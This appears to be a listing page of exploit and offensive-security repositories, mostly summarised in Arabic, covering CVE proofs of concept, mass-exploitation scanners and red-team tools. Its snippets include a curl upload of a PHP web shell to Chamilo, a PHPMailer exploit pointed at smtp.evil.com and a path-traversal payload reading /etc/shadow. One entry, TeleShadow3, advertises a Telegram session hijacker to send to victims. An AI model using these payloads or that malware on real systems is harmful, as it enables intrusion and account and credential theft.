CVE-2016-3088

CVE-2016-3088 بيان سكربت استغلال يعتمد على بايثون لـ CVE-2016-3088. هذا أول سكربت لي، لذا قد يكون هناك شيء غير مناسب تمامًا. لكنه يبدو أنه يعمل بشكل صحيح عندما اختبرته. وصف هذا السكربت يمكنه إلغاء الحاجة إلى التقاط الحزم أثناء اختراق CVE-2016-3088، لذا يمكننا كتابة الملف ونقله مباشرة. الاستخدام...

Remediating-CVE-2013-3900-EnableCertPaddingCheck-

تقرير المعالجة: CVE-2013-3900 على Windows Server 2019 Azure VM معالجة CVE-2013-3900 EnableCertPaddingCheck أثناء إجراء فحص ثغرات أمنية مُصادَق عليه باستخدام Tenable/Nessus، حددت وجود CVE-2013-3900 على مثيل Windows Server 2019 Datacenter المستضاف في Microsoft Azure. استخدم الفحص بيانات اعتماد إدار...

CVE-2023-4220

CVE-2023-4220 RCE Chamilo 1.11.24 | https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS /tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URLUPLD" CMD=$echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; printurllib.parse.quoteplussys.stdin.read" curl...

Webapp_Pentast

دليل إثبات المفهوم والاختبار اليدوي لـ CVE-2022-31147 يوفر هذا الدليل منهجيات شاملة لاختبار CVE-2022-31147، وهي ثغرة حرجة من نوع اجتياز المسار Path Traversal تؤثر على مكتبة matthiasmullie/minify المستخدمة على نطاق واسع. تسمح هذه الثغرة للمهاجمين باستغلال عدم كفاية تنظيف المدخلات في نقطة نهاية...

CVE-2026-35585-poc

CVE-2026-35585: إثبات المفهوم لحقن أوامر نظام التشغيل في File Browser النسخة الإنجليزية ملخص هذا المستودع هو إثبات المفهوم PoC للثغرة الأمنية الخطيرة CVE-2026-35585 لحقن أوامر نظام التشغيل المكتشفة في File Browser من الإصدار 2.0.0 إلى 2.33.1. توجد هذه الثغرة في ميزة 'Custom Command Hooks'. نظرًا...

TeleShadow3

TeleShadow3 Teleshadow3- Advanced Telegram Desktop Session Hijacker! Download Click HERE to download the latest version! Screenshot Stealing desktop telegrams has never been so easy ! Set the email and sender details of the sender and recipient or use Telegram API! and send it to the victim after...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

Cisco-ASA-FTD-Web-Services-Traversal

ثغرة اجتياز المسار في واجهة خدمات الويب لبرنامج Cisco Adaptive Security Appliance وبرنامج Firepower Threat Defense CVE-2020-3452 الاستخدام: CVE-2020-3452.py https://target وصف الثغرة: توجد ثغرة في واجهة خدمات الويب لبرنامج Cisco Adaptive Security Appliance ASA وبرنامج Cisco Firepower Threat Defen...

satellite

satellite Satellite is an web payload hosting service which filters requests to ensure the correct target is getting a payload. This can also be a useful service for hosting files that should be only accessed in very specific circumstances. Quickstart Guide 1. Install satellite on Ubuntu using th...

PageMyadmin_file_upload_getshell

لا يحتوي هذا المستودع على ملف README...

SMBCrunch

SMBCrunch One of the most time consuming tasks as a red teamer is diving into filesystems and shares, attempting to identify any potentially sensitive information. SMBCrunch allows a red teamer to quickly identify Windows File Shares in a network, performs a recursive directory listing of the...

CVE-2020-1938TomcatAjpScanner

CVE-2020-1938TomcatAjpScanner مسح جماعي لثغرات Tomcat AJP تفاصيل الثغرة في 6 يناير 2020، سجّلت منصة مشاركة ثغرات الأمن المعلوماتي الوطنية CNVD ثغرة تضمين الملفات في Apache Tomcat CNVD-2020-10487، المقابلة لـ CVE-2020-1938. يمكن للمهاجم استغلال هذه الثغرة لقراءة أي ملف عن بُعد في دليل معين دون...

prithvi

Prithvi A Report Generation Tool for Security Assessment Usage This project of ours could be used for report generation and its very easy to use. It includes following features 1. We can add Owasp Types and recommendation with details. 2. We can add Multiple Projects and work on it separately. 3...

CVE-2025-34085-Multi-target

CVE-2025-34085 ماسح RCE متعدد الأهداف ماسح استغلال جماعي لـ CVE-2025-34085 — ثغرة تنفيذ أوامر عن بُعد بدون مصادقة في إضافة WordPress Simple File List. تقوم هذه الأداة برفع حمولة PHP متنكّرة بهيئة صورة، وتعيد تسميتها عبر محرك ملفات ضعيف، ثم تشغّل القشرة shell بأمر مخصص. تدعم الفحص متعدد الخيوط عبر...

CVE-2018-20580

CVE-2018-20580 إثبات المفهوم لـ ReadyAPI 2.5.0/2.6.0 تنفيذ الأوامر عن بُعد مع التفاعلات. مقدمة في ديسمبر 2018، عثرت على ثغرة أمنية جديدة في ReadyAPI. تسمح للمهاجم بتنفيذ كود عن بُعد على الجهاز المحلي، مما يعرض مستخدمي ReadyAPI للخطر بما في ذلك المطورين ومختبري الاختراق وغيرهم... يتيح ReadyAPI...

CVE-2020-24186-wpDiscuz-7.0.4-RCE

POC CVE-2020-24186-wpDiscuz-7.0.4-RCE WordPress wpDiscuz 7.0.4 تنفيذ التعليمات البرمجية عن بعد توجد ثغرة تنفيذ تعليمات برمجية عن بعد في إضافة gVectors wpDiscuz الإصدار 7.0 حتى 7.0.4 لووردبريس، والتي تسمح للمستخدمين غير المصادقين برفع أي نوع من الملفات، بما في ذلك ملفات PHP عبر إجراء AJAX المسمى...

XXEinjector

XXEinjector XXEinjector automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. Bruteforcing method needs to be used for other applications. Options: --host Mandatory - our IP address for reverse connections. --host=192.168.0.2 --file...

CVE-2017-9833

CVE-2017-9833 المرجع: https://www.cvedetails.com/cve/CVE-2017-9833/ استعلام Shodan: product:"Boa Web Server" 0.94.14rc21 الحمولة: /cgi-bin/wapopen/?FILECAMERA=../../etc/shadow إثبات المفهوم:...

WooRefer

WooRefer | CVE-2022-4047 - Return Refund and Exchange For WooCommerce أداة آلية جماعية لفحص واستغلال الثغرة الأمنية في CVE-2022-4047 - Return Refund and Exchange For WooCommerce install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh طريقة الاستخدام تأ...

CVE-2025-30567

مقدمة تنزيل ملف تعسفي غير مصرح به في WordPress WP01！ إعداد البيئة الخطوة 1: قم بتنزيل المكون الإضافي WP01، ولكن... هاها، لا تقلق، إليك الكود المصدري للمكون الإضافي. الخطوة 2: قم بتجميع مجلد wp01 المقدم ورفعه إلى قسم المكونات الإضافية في WordPress. مثل هذا-- التحليل الأمر بسيط—يتم تشغيل الثغرة...